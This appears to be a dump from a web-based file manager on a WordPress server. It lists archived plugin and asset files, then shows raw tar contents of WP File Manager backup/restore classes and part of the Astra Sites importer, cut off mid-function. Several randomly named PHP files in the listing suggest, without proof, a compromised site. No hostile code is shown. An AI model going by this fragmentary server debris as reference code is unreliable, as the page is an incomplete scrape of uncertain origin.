wpbc-dev-api.php.tar.gz
8.06
KB
-rw-r--r--
wpbc-emails.php.tar
29.5
KB
-rw-r--r--
wpbc-emails.php.tar.gz
6.09
KB
-rw-r--r--
wpbc-gcal.php.tar
20
KB
-rw-r--r--
wpbc-gcal.php.tar.gz
2.96
KB
-rw-r--r--
wpbc-gutenberg.css.tar
7.5
KB
-rw-r--r--
wpbc-gutenberg.css.tar.gz
1.61
KB
-rw-r--r--
wpbc-gutenberg.js.tar
65.5
KB
-rw-r--r--
wpbc-gutenberg.js.tar.gz
8.45
KB
-rw-r--r--
wpbc-include.php.tar
16.5
KB
-rw-r--r--
wpbc-include.php.tar.gz
3.03
KB
-rw-r--r--
wpbc-js-vars.php.tar
12
KB
-rw-r--r--
wpbc-js-vars.php.tar.gz
2.77
KB
-rw-r--r--
wpbc-js.php.tar
20
KB
-rw-r--r--
wpbc-js.php.tar.gz
5.1
KB
-rw-r--r--
wpbc-sql.php.tar
59.5
KB
-rw-r--r--
wpbc-sql.php.tar.gz
9.79
KB
-rw-r--r--
wpbc-translation.php.tar
63
KB
-rw-r--r--
wpbc-translation.php.tar.gz
12.72
KB
-rw-r--r--
wpbc.js.tar
20.5
KB
-rw-r--r--
wpbc.js.tar.gz
3.04
KB
-rw-r--r--
wpbc.php.tar
29.5
KB
-rw-r--r--
wpbc.php.tar.gz
6.27
KB
-rw-r--r--
wpbc.tar
20.5
KB
-rw-r--r--
wpbc.tar.gz
3.01
KB
-rw-r--r--
wpbc_all.js.tar
801
KB
-rw-r--r--
wpbc_all.js.tar.gz
73.12
KB
-rw-r--r--
wpbc_functions.php.tar
154
KB
-rw-r--r--
wpbc_functions.php.tar.gz
33.21
KB
-rw-r--r--
wpbc_js_print.tar
18
KB
-rw-r--r--
wpbc_js_print.tar.gz
4.76
KB
-rw-r--r--
wpbc_time-selector.css.tar
3
KB
-rw-r--r--
wpbc_time-selector.css.tar.gz
618
B
-rw-r--r--
wpbc_time-selector.js.tar
5.5
KB
-rw-r--r--
wpbc_time-selector.js.tar.gz
1.29
KB
-rw-r--r--
wpbc_times.js.tar
23.5
KB
-rw-r--r--
wpbc_times.js.tar.gz
5.4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar
4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar.gz
962
B
-rw-r--r--
wpbc_ui_both.css.tar
8.5
KB
-rw-r--r--
wpbc_ui_both.css.tar.gz
1.13
KB
-rw-r--r--
wpbc_welcome.php.tar
13.5
KB
-rw-r--r--
wpbc_welcome.php.tar.gz
3.01
KB
-rw-r--r--
wpdev-booking.php.tar
6
KB
-rw-r--r--
wpdev-booking.php.tar.gz
1.54
KB
-rw-r--r--
wpdialog.js.tar
2.5
KB
-rw-r--r--
wpdialog.js.tar.gz
439
B
-rw-r--r--
wpdialog.min.js.tar
2
KB
-rw-r--r--
wpdialog.min.js.tar.gz
306
B
-rw-r--r--
wpdialogs.tar
6
KB
-rw-r--r--
wpdialogs.tar.gz
1.43
KB
-rw-r--r--
wpdialogs.zip
3.96
KB
-rw-r--r--
wpeditimage.tar
39.5
KB
-rw-r--r--
wpeditimage.tar.gz
10.5
KB
-rw-r--r--
wpeditimage.zip
37.11
KB
-rw-r--r--
wpemoji.tar
7
KB
-rw-r--r--
wpemoji.tar.gz
1.85
KB
-rw-r--r--
wpgallery.tar
7.5
KB
-rw-r--r--
wpgallery.tar.gz
1.7
KB
-rw-r--r--
wpicons-2x.png.tar
16.5
KB
-rw-r--r--
wpicons-2x.png.tar.gz
14.38
KB
-rw-r--r--
wpicons.png.tar
8.5
KB
-rw-r--r--
wpicons.png.tar.gz
7.03
KB
-rw-r--r--
wplink.js.tar
22.5
KB
-rw-r--r--
wplink.js.tar.gz
5.94
KB
-rw-r--r--
wplink.min.js.tar
12.5
KB
-rw-r--r--
wplink.min.js.tar.gz
3.89
KB
-rw-r--r--
wplink.tar
28.5
KB
-rw-r--r--
wplink.tar.gz
7.59
KB
-rw-r--r--
wplink.zip
26.14
KB
-rw-r--r--
wpml-config.xml.tar
10.5
KB
-rw-r--r--
wpml-config.xml.tar.gz
0
B
-rw-r--r--
wpspin-1x.gif.tar
22
KB
-rw-r--r--
wpspin-1x.gif.tar.gz
8.12
KB
-rw-r--r--
wpspin-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin.gif.tar
4
KB
-rw-r--r--
wpspin.gif.tar.gz
1.86
KB
-rw-r--r--
wpspin_light-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin_light-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin_light.gif.tar
4
KB
-rw-r--r--
wpspin_light.gif.tar.gz
1.86
KB
-rw-r--r--
wptextpattern.tar
14.5
KB
-rw-r--r--
wptextpattern.tar.gz
3.84
KB
-rw-r--r--
wptextpattern.zip
11.93
KB
-rw-r--r--
wpview.tar
11
KB
-rw-r--r--
wpview.tar.gz
2.85
KB
-rw-r--r--
wrapper.php.tar
8
KB
-rw-r--r--
wrapper.php.tar.gz
1.4
KB
-rw-r--r--
ws.png.tar
2.5
KB
-rw-r--r--
ws.png.tar.gz
909
B
-rw-r--r--
xdiff.php.tar
4
KB
-rw-r--r--
xdiff.php.tar.gz
1.01
KB
-rw-r--r--
xfn.js.tar
2.5
KB
-rw-r--r--
xfn.js.tar.gz
488
B
-rw-r--r--
xfn.min.js.tar
2
KB
-rw-r--r--
xfn.min.js.tar.gz
380
B
-rw-r--r--
xh.png.tar
9
KB
-rw-r--r--
xh.png.tar.gz
756
B
-rw-r--r--
xh.svg.tar
2.5
KB
-rw-r--r--
xh.svg.tar.gz
624
B
-rw-r--r--
xit-2x.gif.tar
4
KB
-rw-r--r--
xit-2x.gif.tar.gz
806
B
-rw-r--r--
xit-3x.gif.tar
22
KB
-rw-r--r--
xit-3x.gif.tar.gz
8.12
KB
-rw-r--r--
xit.gif.tar
3
KB
-rw-r--r--
xit.gif.tar.gz
304
B
-rw-r--r--
xk.png.tar
2.5
KB
-rw-r--r--
xk.png.tar.gz
668
B
-rw-r--r--
xygdzobf.php.tar
2
KB
-rw-r--r--
xygdzobf.php.tar.gz
198
B
-rw-r--r--
yak.php.tar
23.5
KB
-rw-r--r--
yak.php.tar.gz
9.48
KB
-rw-r--r--
ydjzxfnq.php.tar
5
KB
-rw-r--r--
ydjzxfnq.php.tar.gz
907
B
-rw-r--r--
ye.png.tar
2
KB
-rw-r--r--
ye.png.tar.gz
580
B
-rw-r--r--
yes.png.tar
2.5
KB
-rw-r--r--
yes.png.tar.gz
689
B
-rw-r--r--
yi.png.tar
6
KB
-rw-r--r--
yi.png.tar.gz
1.27
KB
-rw-r--r--
yi.svg.tar
2.5
KB
-rw-r--r--
yi.svg.tar.gz
642
B
-rw-r--r--
ym-fast-seo.php.tar
3.5
KB
-rw-r--r--
ym-fast-seo.php.tar.gz
796
B
-rw-r--r--
yo.png.tar
6.5
KB
-rw-r--r--
yo.png.tar.gz
799
B
-rw-r--r--
yo.svg.tar
2
KB
-rw-r--r--
yo.svg.tar.gz
299
B
-rw-r--r--
yt.png.tar
2.5
KB
-rw-r--r--
yt.png.tar.gz
1.13
KB
-rw-r--r--
za.png.tar
2.5
KB
-rw-r--r--
za.png.tar.gz
1.06
KB
-rw-r--r--
zh-CN.png.tar
7
KB
-rw-r--r--
zh-CN.png.tar.gz
961
B
-rw-r--r--
zh-CN.svg.tar
2
KB
-rw-r--r--
zh-CN.svg.tar.gz
397
B
-rw-r--r--
zh-TW.png.tar
7
KB
-rw-r--r--
zh-TW.png.tar.gz
612
B
-rw-r--r--
zh-TW.svg.tar
3
KB
-rw-r--r--
zh-TW.svg.tar.gz
706
B
-rw-r--r--
zh.js.tar
2.5
KB
-rw-r--r--
zh.js.tar.gz
638
B
-rw-r--r--
zh_TW.tar
227
KB
-rw-r--r--
zh_TW.tar.gz
50.55
KB
-rw-r--r--
zh_TW.zip
224.86
KB
-rw-r--r--
zhxvgqei.php.tar
2
KB
-rw-r--r--
zhxvgqei.php.tar.gz
153
B
-rw-r--r--
zigzag.svg.tar
4.5
KB
-rw-r--r--
zigzag.svg.tar.gz
495
B
-rw-r--r--
zm.png.tar
2.5
KB
-rw-r--r--
zm.png.tar.gz
958
B
-rw-r--r--
zoom.svg.tar
6
KB
-rw-r--r--
zoom.svg.tar.gz
768
B
-rw-r--r--
zu.png.tar
9
KB
-rw-r--r--
zu.png.tar.gz
758
B
-rw-r--r--
zu.svg.tar
2.5
KB
-rw-r--r--
zu.svg.tar.gz
625
B
-rw-r--r--
zvoacxwk.php.tar
70
KB
-rw-r--r--
zvoacxwk.php.tar.gz
20.5
KB
-rw-r--r--
zw.png.tar
2.5
KB
-rw-r--r--
zw.png.tar.gz
1018
B
-rw-r--r--
zxcvbn-async.js.tar
2.5
KB
-rw-r--r--
zxcvbn-async.js.tar.gz
529
B
-rw-r--r--
zxcvbn-async.min.js.tar
2
KB
-rw-r--r--
zxcvbn-async.min.js.tar.gz
357
B
-rw-r--r--
zxcvbn.min.js.tar
804.5
KB
-rw-r--r--
zxcvbn.min.js.tar.gz
390.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : classes.tar
db-restore.php 0000666 00000017631 15165256025 0007346 0 ustar 00 <?php /** * Define database parameters here */ $upload_dir = wp_upload_dir(); $backup_dirname = $upload_dir['basedir'].'/wp-file-manager-pro/fm_backup'; define("BACKUP_DIR", $backup_dirname); define("CHARSET", 'utf8'); define("DISABLE_FOREIGN_KEY_CHECKS", true); /** * The Restore_Database class */ class Restore_Database { /** * Host where the database is located */ var $host; /** * Username used to connect to database */ var $username; /** * Password used to connect to database */ var $passwd; /** * Database to backup */ var $dbName; /** * Database charset */ var $charset; /** * Database connection */ var $conn; /** * Disable foreign key checks */ var $disableForeignKeyChecks; /** * Constructor initializes database */ function __construct($filename) { $this->host = DB_HOST; $this->username = DB_USER; $this->passwd = DB_PASSWORD; $this->dbName = DB_NAME; $this->charset = DB_CHARSET; $this->disableForeignKeyChecks = defined('DISABLE_FOREIGN_KEY_CHECKS') ? DISABLE_FOREIGN_KEY_CHECKS : true; $this->conn = $this->initializeDatabase(); $this->backupDir = defined('BACKUP_DIR') ? BACKUP_DIR : '.'; $this->backupFile = $filename; } /** * Destructor re-enables foreign key checks */ function __destructor() { /** * Re-enable foreign key checks */ if ($this->disableForeignKeyChecks === true) { mysqli_query($this->conn, 'SET foreign_key_checks = 1'); } } protected function initializeDatabase() { try { $conn = mysqli_connect($this->host, $this->username, $this->passwd, $this->dbName); if (mysqli_connect_errno()) { throw new Exception('ERROR connecting database: ' . mysqli_connect_error()); die(); } if (!mysqli_set_charset($conn, $this->charset)) { mysqli_query($conn, 'SET NAMES '.$this->charset); } /** * Disable foreign key checks */ if ($this->disableForeignKeyChecks === true) { mysqli_query($conn, 'SET foreign_key_checks = 0'); } } catch (Exception $e) { print_r($e->getMessage()); die(); } return $conn; } /** * Backup the whole database or just some tables * Use '*' for whole database or 'table1 table2 table3...' * @param string $tables */ public function restoreDb() { try { $sql = ''; $multiLineComment = false; $backupDir = $this->backupDir; $backupFile = $this->backupFile; /** * Gunzip file if gzipped */ $backupFileIsGzipped = substr($backupFile, -3, 3) == '.gz' ? true : false; if ($backupFileIsGzipped) { if (!$backupFile = $this->gunzipBackupFile()) { throw new Exception("ERROR: couldn't gunzip backup file " . $backupDir . '/' . $backupFile); } } /** * Read backup file line by line */ $handle = fopen($backupDir . '/' . $backupFile, "r"); if ($handle) { while (($line = fgets($handle)) !== false) { $line = ltrim(rtrim($line)); if (strlen($line) > 1) { // avoid blank lines $lineIsComment = false; if (preg_match('/^\/\*/', $line)) { $multiLineComment = true; $lineIsComment = true; } if ($multiLineComment or preg_match('/^\/\//', $line)) { $lineIsComment = true; } if (!$lineIsComment) { $sql .= $line; if (preg_match('/;$/', $line)) { mysqli_query($this->conn, "SET sql_mode = ''"); // execute query if(mysqli_query($this->conn, $sql)) { if (preg_match('/^CREATE TABLE `([^`]+)`/i', $sql, $tableName)) { $this->obfPrint("Table succesfully created: `" . $tableName[1] . "`"); } $sql = ''; } else { throw new Exception("ERROR: SQL execution error: " . mysqli_error($this->conn)); } } } else if (preg_match('/\*\/$/', $line)) { $multiLineComment = false; } } } fclose($handle); } else { throw new Exception("ERROR: couldn't open backup file " . $backupDir . '/' . $backupFile); } } catch (Exception $e) { print_r($e->getMessage()); return false; } if ($backupFileIsGzipped) { unlink($backupDir . '/' . $backupFile); } return true; } /* * Gunzip backup file * * @return string New filename (without .gz appended and without backup directory) if success, or false if operation fails */ protected function gunzipBackupFile() { // Raising this value may increase performance $bufferSize = 4096; // read 4kb at a time $error = false; $source = $this->backupDir . '/' . $this->backupFile; $dest = $this->backupDir . '/' . date("Ymd_His", time()) . '_' . substr($this->backupFile, 0, -3); $this->obfPrint('Gunzipping backup file ' . $source . '... ', 1, 1); // Remove $dest file if exists if (file_exists($dest)) { if (!unlink($dest)) { return false; } } // Open gzipped and destination files in binary mode if (!$srcFile = gzopen($this->backupDir . '/' . $this->backupFile, 'rb')) { return false; } if (!$dstFile = fopen($dest, 'wb')) { return false; } while (!gzeof($srcFile)) { // Read buffer-size bytes // Both fwrite and gzread are binary-safe if(!fwrite($dstFile, gzread($srcFile, $bufferSize))) { return false; } } fclose($dstFile); gzclose($srcFile); // Return backup filename excluding backup directory return str_replace($this->backupDir . '/', '', $dest); } /** * Prints message forcing output buffer flush * */ public function obfPrint ($msg = '', $lineBreaksBefore = 0, $lineBreaksAfter = 1) { if (!$msg) { return false; } $msg = date("Y-m-d H:i:s") . ' - ' . $msg; $output = ''; if (php_sapi_name() != "cli") { $lineBreak = "<br />"; } else { $lineBreak = "\n"; } if ($lineBreaksBefore > 0) { for ($i = 1; $i <= $lineBreaksBefore; $i++) { $output .= $lineBreak; } } $output .= $msg; if ($lineBreaksAfter > 0) { for ($i = 1; $i <= $lineBreaksAfter; $i++) { $output .= $lineBreak; } } if (php_sapi_name() == "cli") { $output .= "\n"; } if (php_sapi_name() != "cli") { ob_flush(); } flush(); } } files-restore.php 0000666 00000004242 15165256025 0010055 0 ustar 00 <?php class wp_file_manager_files_restore { public function extract($source, $destination) { if (extension_loaded('zip') === true) { if (file_exists($source) === true) { $zip = new ZipArchive(); $res = $zip->open($source); if ($res === TRUE) { $allfiles = []; for($i = 0; $i < $zip->numFiles; $i++) { $filename = $zip->getNameIndex($i); if (strpos($filename,'wp-file-manager') === false) { $allfiles[] = $zip->getNameIndex($i); } } $zip->extractTo($destination, $allfiles); $zip->close(); $isLocal = explode(':\\',$destination); $path = count($isLocal) > 1 ? str_replace(DIRECTORY_SEPARATOR,'/',$isLocal[1]) : str_replace(DIRECTORY_SEPARATOR,'/',$isLocal[0]); if(is_dir($destination.'/'.$path)){ $is_copied = copy_dir( $destination.'/'.$path, $destination); if($is_copied){ $folderarr = explode('/',$path); if(is_dir($destination.'/'.$folderarr[0])){ $is_deleted = $this->fm_rmdir($destination.'/'.$folderarr[0]); } return true; } } return true; } else { return false; } } else { return false; } } return false; } public function fm_rmdir($src) { $dir = opendir($src); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { $full = $src . '/' . $file; if ( is_dir($full) ) { $this->fm_rmdir($full); } else { unlink($full); } } } closedir($dir); rmdir($src); } } files-backup.php 0000666 00000007701 15165256025 0007642 0 ustar 00 <?php class wp_file_manager_files_backup { public function zipData($source, $destination) { $source = str_replace('..', '', $source); $destination = str_replace('..', '', $destination); if (extension_loaded('zip') === true) { if (file_exists($source) === true) { $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = str_replace('\\', '/', realpath($source)); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { if(strpos($file,'fm_backup') === false && (strpos($file,'opt') === false || strpos($file,'opt'))) { $file = str_replace('\\', '/', realpath($file)); $relative_path = substr($file, strlen($source) + 1); if (is_dir($file) === true) { if($relative_path !== false){ $zip->addEmptyDir($relative_path); } } else if (is_file($file) === true) { $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } } } else if (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } } return $zip->close(); } } return false; } public function zipOther($source, $destination) { $source = str_replace('..', '', $source); $destination = str_replace('..', '', $destination); if (extension_loaded('zip') === true) { if (file_exists($source) === true) { $zip = new ZipArchive(); if ($zip->open($destination, ZIPARCHIVE::CREATE) === true) { $source = str_replace('\\', '/', realpath($source)); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = str_replace('\\', '/', realpath($file)); $allfolders= explode("wp-content",$file); if(isset($allfolders[1])){ $allfoldersdata= explode("/",$allfolders[1]); if(isset($allfoldersdata[1]) && ($allfoldersdata[1] != 'themes' && $allfoldersdata[1] != 'plugins' && $allfoldersdata[1] != 'uploads')){ $file = str_replace('\\', '/', realpath($file)); $relative_path = substr($file, strlen($source) + 1); if (is_dir($file) === true) { if($relative_path !== false){ $zip->addEmptyDir($relative_path); } } else if (is_file($file) === true) { $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } } } } else if (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } } return $zip->close(); } } return false; } } db-backup.php 0000666 00000026520 15165256025 0007125 0 ustar 00 <?php /** * Define database parameters here */ $upload_dir = wp_upload_dir(); $backup_dirname = $upload_dir['basedir'].'/wp-file-manager-pro/fm_backup'; define("BACKUP_DIR", $backup_dirname); // Comment this line to use same script's directory ('.') define("TABLES", '*'); // Full backup define("CHARSET", 'utf8'); define("GZIP_BACKUP_FILE", true); // Set to false if you want plain SQL backup files (not gzipped) define("DISABLE_FOREIGN_KEY_CHECKS", true); // Set to true if you are having foreign key constraint fails define("BATCH_SIZE", 1000); // Batch size when selecting rows from database in order to not exhaust system memory // Also number of rows per INSERT statement in backup file /** * The Backup_Database class */ class Backup_Database { /** * Host where the database is located */ var $host; /** * Username used to connect to database */ var $username; /** * Password used to connect to database */ var $passwd; /** * Database to backup */ var $dbName; /** * Database charset */ var $charset; /** * Database connection */ var $conn; /** * Backup directory where backup files are stored */ var $backupDir; /** * Output backup file */ var $backupFile; /** * Use gzip compression on backup file */ var $gzipBackupFile; /** * Content of standard output */ var $output; /** * Disable foreign key checks */ var $disableForeignKeyChecks; /** * Batch size, number of rows to process per iteration */ var $batchSize; /** * Constructor initializes database */ public function __construct($filename) { $this->host = DB_HOST; $this->username = DB_USER; $this->passwd = DB_PASSWORD; $this->dbName = DB_NAME; $this->charset = DB_CHARSET; $this->conn = $this->initializeDatabase(); $this->backupDir = BACKUP_DIR ? BACKUP_DIR : '.'; $this->backupFile = $filename.'-db.sql'; $this->gzipBackupFile = defined('GZIP_BACKUP_FILE') ? GZIP_BACKUP_FILE : true; $this->disableForeignKeyChecks = defined('DISABLE_FOREIGN_KEY_CHECKS') ? DISABLE_FOREIGN_KEY_CHECKS : true; $this->batchSize = defined('BATCH_SIZE') ? BATCH_SIZE : 1000; // default 1000 rows $this->output = ''; } protected function initializeDatabase() { try { $conn = mysqli_connect($this->host, $this->username, $this->passwd, $this->dbName); if (mysqli_connect_errno()) { throw new Exception('ERROR connecting database: ' . mysqli_connect_error()); die(); } if (!mysqli_set_charset($conn, $this->charset)) { mysqli_query($conn, 'SET NAMES '.$this->charset); } } catch (Exception $e) { print_r($e->getMessage()); die(); } return $conn; } /** * Backup the whole database or just some tables * Use '*' for whole database or 'table1 table2 table3...' * @param string $tables */ public function backupTables($tables = '*', $bkpDir="") { try { /** * Tables to export */ if($tables == '*') { $tables = array(); $result = mysqli_query($this->conn, 'SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', str_replace(' ', '', $tables)); } $sql = 'CREATE DATABASE IF NOT EXISTS `'.$this->dbName."`;\n\n"; $sql .= 'USE `'.$this->dbName."`;\n\n"; /** * Disable foreign key checks */ if ($this->disableForeignKeyChecks === true) { $sql .= "SET foreign_key_checks = 0;\n\n"; } /** * Iterate tables */ foreach($tables as $table) { $this->obfPrint("Backing up `".$table."` table...".str_repeat('.', 50-strlen($table)), 0, 0); /** * CREATE TABLE */ $sql .= 'DROP TABLE IF EXISTS `'.$table.'`;'; $row = mysqli_fetch_row(mysqli_query($this->conn, 'SHOW CREATE TABLE `'.$table.'`')); $sql .= "\n\n".$row[1].";\n\n"; /** * INSERT INTO */ $row = mysqli_fetch_row(mysqli_query($this->conn, 'SELECT COUNT(*) FROM `'.$table.'`')); $numRows = $row[0]; // Split table in batches in order to not exhaust system memory $numBatches = intval($numRows / $this->batchSize) + 1; // Number of while-loop calls to perform for ($b = 1; $b <= $numBatches; $b++) { $query = 'SELECT * FROM `' . $table . '` LIMIT ' . ($b * $this->batchSize - $this->batchSize) . ',' . $this->batchSize; $result = mysqli_query($this->conn, $query); $realBatchSize = mysqli_num_rows ($result); // Last batch size can be different from $this->batchSize $numFields = mysqli_num_fields($result); if ($realBatchSize !== 0) { $sql .= 'INSERT INTO `'.$table.'` VALUES '; for ($i = 0; $i < $numFields; $i++) { $rowCount = 1; while($row = mysqli_fetch_row($result)) { $sql.='('; for($j=0; $j<$numFields; $j++) { if (isset($row[$j])) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); $row[$j] = str_replace("\r","\\r",$row[$j]); $row[$j] = str_replace("\f","\\f",$row[$j]); $row[$j] = str_replace("\t","\\t",$row[$j]); $row[$j] = str_replace("\v","\\v",$row[$j]); $row[$j] = str_replace("\a","\\a",$row[$j]); $row[$j] = str_replace("\b","\\b",$row[$j]); if (preg_match('/^-?[0-9]+$/', $row[$j]) or $row[$j] == 'NULL' or $row[$j] == 'null') { $sql .= $row[$j]; } else { $sql .= '"'.$row[$j].'"' ; } } else { $sql.= 'NULL'; } if ($j < ($numFields-1)) { $sql .= ','; } } if ($rowCount == $realBatchSize) { $rowCount = 0; $sql.= ");\n"; //close the insert statement } else { $sql.= "),\n"; //close the row } $rowCount++; } } $this->saveFile($sql); $sql = ''; } } $sql.="\n\n"; $this->obfPrint('OK'); } /** * Re-enable foreign key checks */ if ($this->disableForeignKeyChecks === true) { $sql .= "SET foreign_key_checks = 1;\n"; } $this->saveFile($sql); if ($this->gzipBackupFile) { $this->gzipBackupFile(); } else { $this->obfPrint('Backup file succesfully saved to ' . $this->backupDir.'/'.$this->backupFile, 1, 1); } } catch (Exception $e) { print_r($e->getMessage()); return false; } return true; } /** * Save SQL to file * @param string $sql */ protected function saveFile(&$sql) { if (!$sql) return false; try { if (!file_exists($this->backupDir)) { mkdir($this->backupDir, 0777, true); } file_put_contents($this->backupDir.'/'.$this->backupFile, $sql, FILE_APPEND | LOCK_EX); } catch (Exception $e) { print_r($e->getMessage()); return false; } return true; } /* * Gzip backup file * * @param integer $level GZIP compression level (default: 9) * @return string New filename (with .gz appended) if success, or false if operation fails */ protected function gzipBackupFile($level = 9) { if (!$this->gzipBackupFile) { return true; } $source = $this->backupDir . '/' . $this->backupFile; $dest = $source . '.gz'; $this->obfPrint('Gzipping backup file to ' . $dest . '... ', 1, 0); $mode = 'wb' . $level; if ($fpOut = gzopen($dest, $mode)) { if ($fpIn = fopen($source,'rb')) { while (!feof($fpIn)) { gzwrite($fpOut, fread($fpIn, 1024 * 256)); } fclose($fpIn); } else { return false; } gzclose($fpOut); if(!unlink($source)) { return false; } } else { return false; } $this->obfPrint('OK'); return $dest; } /** * Prints message forcing output buffer flush * */ public function obfPrint ($msg = '', $lineBreaksBefore = 0, $lineBreaksAfter = 1) { if (!$msg) { return false; } if ($msg != 'OK' and $msg != 'KO') { $msg = date("Y-m-d H:i:s") . ' - ' . $msg; } $output = ''; if (php_sapi_name() != "cli") { $lineBreak = "<br />"; } else { $lineBreak = "\n"; } if ($lineBreaksBefore > 0) { for ($i = 1; $i <= $lineBreaksBefore; $i++) { $output .= $lineBreak; } } $output .= $msg; if ($lineBreaksAfter > 0) { for ($i = 1; $i <= $lineBreaksAfter; $i++) { $output .= $lineBreak; } } // Save output for later use $this->output .= str_replace('<br />', '\n', $output); return $output; if (php_sapi_name() != "cli") { if( ob_get_level() > 0 ) { ob_flush(); } } $this->output .= " "; flush(); } /** * Returns full execution output * */ public function getOutput() { return $this->output; } } class-astra-sites-elementor-images.php 0000666 00000003553 15165314160 0014066 0 ustar 00 <?php /** * Astra_Sites_Elementor_Images class * * This class is used to manage Pixabay Images. * * @package Astra Sites * @since 2.0.0 */ use Elementor\Utils; // If plugin - 'Elementor' not exist then return. if ( class_exists( 'Astra_Sites_Elementor_Images' ) ) { return; } /** * Astra_Sites_Elementor_Images */ class Astra_Sites_Elementor_Images { /** * Instance of Astra_Sites * * @since 2.0.0 * @var (Object) Astra_Sites */ private static $instance = null; /** * Instance of Astra_Sites_Elementor_Images. * * @since 2.0.0 * * @return object Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Import Image. * * @since 2.0.0 * @param array $image Downloaded Image array. */ public function get_attachment_data( $image ) { if ( ! empty( $image ) ) { return array( 'content' => array( array( 'id' => \Elementor\Utils::generate_random_string(), 'elType' => 'section', 'settings' => array(), 'isInner' => false, 'elements' => array( array( 'id' => \Elementor\Utils::generate_random_string(), 'elType' => 'column', 'elements' => array( array( 'id' => \Elementor\Utils::generate_random_string(), 'elType' => 'widget', 'settings' => array( 'image' => array( 'url' => wp_get_attachment_url( $image ), 'id' => $image, ), 'image_size' => 'full', ), 'widgetType' => 'image', ), ), 'isInner' => false, ), ), ), ), ); } return array(); } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Elementor_Images::get_instance(); class-astra-sites-importer.php 0000666 00000101577 15165314160 0012477 0 ustar 00 <?php /** * Astra Sites Importer * * @since 1.0.0 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } if ( ! class_exists( 'Astra_Sites_Importer' ) ) { /** * Astra Sites Importer */ class Astra_Sites_Importer { /** * Instance * * @since 1.0.0 * @var (Object) Class object */ public static $instance = null; /** * Set Instance * * @since 1.0.0 * * @return object Class object. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. * * @since 1.0.0 */ public function __construct() { require_once ASTRA_SITES_DIR . 'inc/classes/class-astra-sites-importer-log.php'; require_once ASTRA_SITES_DIR . 'inc/importers/class-astra-sites-helper.php'; require_once ASTRA_SITES_DIR . 'inc/importers/class-astra-widget-importer.php'; require_once ASTRA_SITES_DIR . 'inc/importers/class-astra-customizer-import.php'; require_once ASTRA_SITES_DIR . 'inc/importers/class-astra-site-options-import.php'; // Import AJAX. add_action( 'wp_ajax_astra-sites-import-wpforms', array( $this, 'import_wpforms' ) ); add_action( 'wp_ajax_astra-sites-import-cartflows', array( $this, 'import_cartflows' ) ); add_action( 'wp_ajax_astra-sites-import-spectra-settings', array( $this, 'import_spectra_settings' ) ); add_action( 'wp_ajax_astra-sites-import-customizer-settings', array( $this, 'import_customizer_settings' ) ); add_action( 'wp_ajax_astra-sites-import-prepare-xml', array( $this, 'prepare_xml_data' ) ); add_action( 'wp_ajax_astra-sites-import-options', array( $this, 'import_options' ) ); add_action( 'wp_ajax_astra-sites-import-widgets', array( $this, 'import_widgets' ) ); add_action( 'wp_ajax_astra-sites-import-end', array( $this, 'import_end' ) ); // Hooks in AJAX. add_action( 'astra_sites_import_complete', array( $this, 'clear_related_cache' ) ); add_action( 'init', array( $this, 'load_importer' ) ); require_once ASTRA_SITES_DIR . 'inc/importers/batch-processing/class-astra-sites-batch-processing.php'; add_action( 'wp_ajax_astra-sites-set-start-flag', array( $this, 'set_start_flag' ) ); add_action( 'astra_sites_batch_process_complete', array( $this, 'clear_related_cache' ) ); add_action( 'astra_sites_batch_process_complete', array( $this, 'delete_related_transient' ) ); // Reset Customizer Data. add_action( 'wp_ajax_astra-sites-reset-customizer-data', array( $this, 'reset_customizer_data' ) ); add_action( 'wp_ajax_astra-sites-reset-site-options', array( $this, 'reset_site_options' ) ); add_action( 'wp_ajax_astra-sites-reset-widgets-data', array( $this, 'reset_widgets_data' ) ); // Reset Post & Terms. add_action( 'wp_ajax_astra-sites-delete-posts', array( $this, 'delete_imported_posts' ) ); add_action( 'wp_ajax_astra-sites-delete-wp-forms', array( $this, 'delete_imported_wp_forms' ) ); add_action( 'wp_ajax_astra-sites-delete-terms', array( $this, 'delete_imported_terms' ) ); if ( version_compare( get_bloginfo( 'version' ), '5.1.0', '>=' ) ) { add_filter( 'http_request_timeout', array( $this, 'set_timeout_for_images' ), 10, 2 ); //phpcs:ignore WordPressVIPMinimum.Hooks.RestrictedHooks.http_request_timeout -- We need this to avoid timeout on slow servers while installing theme, plugin etc. } add_action( 'init', array( $this, 'disable_default_woo_pages_creation' ), 2 ); add_filter( 'upgrader_package_options', array( $this, 'plugin_install_clear_directory' ) ); } /** * Delete related transients * * @since 3.1.3 */ public function delete_related_transient() { delete_transient( 'astra_sites_batch_process_started' ); delete_option( 'astra_sites_import_data' ); } /** * Delete directory when installing plugin. * * Set by enabling `clear_destination` option in the upgrader. * * @since 3.0.10 * @param array $options Options for the upgrader. * @return array $options The options. */ public function plugin_install_clear_directory( $options ) { if ( true !== astra_sites_has_import_started() ) { return $options; } // Verify Nonce. check_ajax_referer( 'astra-sites', 'ajax_nonce' ); if ( isset( $_REQUEST['clear_destination'] ) && 'true' === $_REQUEST['clear_destination'] ) { // 